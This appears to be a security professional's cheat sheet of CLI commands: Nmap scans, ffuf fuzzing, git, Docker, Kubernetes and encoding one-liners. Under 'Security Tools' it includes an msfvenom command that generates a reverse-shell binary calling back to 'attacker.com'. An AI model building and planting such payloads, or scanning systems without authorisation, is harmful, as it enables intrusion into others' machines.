Command Line Arsenal
Finding Security Holes Everywhere ¯\_(ツ)_/¯
A collection of handy CLI commands and tricks for security professionals
🔍 Nmap Techniques
# Fast scan of top 1000 ports
nmap -F -T4 target.com
# Full port scan with service detection
nmap -p- -sV target.com
# Aggressive scan with OS detection, version detection, script scanning, and traceroute
nmap -A target.com
# Scan through proxychains
proxychains nmap -sT -Pn target.com
# Scan for specific vulnerabilities
nmap --script vuln target.com
🐙 Git Operations
# Use specific SSH key for git operations
GIT_SSH_COMMAND="ssh -i ~/.ssh/id_rsa_example" git clone git@github.com:user/repo.git
# Clone specific branch only with limited depth
git clone --single-branch --branch dev --depth 1 https://github.com/user/repo.git
# Fix your last commit message
git commit --amend -m "New commit message"
# Unstage all staged files
git reset HEAD
# Interactive rebase for cleaning up commits
git rebase -i HEAD~5
🛡️ Security Tools
# Set up a simple HTTP server for file transfers
python3 -m http.server 8000
# Find sensitive files in web directories
ffuf -w /path/to/wordlist -u https://target.com/FUZZ -e .bak,.swp,.old
# Check SSL/TLS configuration
nmap --script ssl-enum-ciphers -p 443 target.com
# Generate reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=attacker.com LPORT=4444 -f elf > shell
# Extract endpoints from JavaScript files
grep -r "url\|href\|action\|path\|endpoint" --include="*.js" /path/to/js/files
🐳 Docker & Kubernetes
# List all running containers with ports
docker ps --format "{{.ID}}\t{{.Names}}\t{{.Ports}}"
# Get a shell in a running container
docker exec -it container_name /bin/bash
# Clean up all unused Docker resources
docker system prune -a
# Kubernetes: Forward local port to pod
kubectl port-forward pod/pod-name 8080:80
# Get logs from all pods with a specific label
kubectl logs -l app=nginx --all-containers
🔧 System Administration
# Find files modified in the last 24 hours
find /path/to/search -type f -mtime -1
# Monitor incoming and outgoing network connections
watch -n 1 "netstat -tunapl | grep ESTABLISHED"
# Find largest directories
du -h --max-depth=1 | sort -hr
# Securely erase free space
dd if=/dev/zero of=zero.fill bs=1M; sync; rm -f zero.fill
# Monitor system resource usage
htop --sort-key PERCENT_CPU
✂️ Text Wrangler Regexes
# Remove everything before the dot (and the dot itself) — handy
# for trimming a list of subdomains down to their domain names
^[^.]+.
🧰 Quick One-Liners
# Base64 encode a string
echo -n 'secret text' | base64
# Base64 decode a string
echo -n 'c2VjcmV0IHRleHQ=' | base64 -d
# URL encode a string
python3 -c "import urllib.parse; print(urllib.parse.quote('hello world?'))"
# URL decode a string
python3 -c "import urllib.parse; print(urllib.parse.unquote('hello%20world%3F'))"
# Generate 32 bytes of random hex
openssl rand -hex 32
# Check a TLS certificate's expiry date
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -enddate
# Calculate MD5 and SHA-256 checksums of a file
md5 file.iso
shasum -a 256 file.iso
# Strip ANSI colour codes from a log file
sed 's/\x1b\[[0-9;]*m//g' colour.log > clean.log
📚 Additional Resources
Have a useful command to share? Send it to me!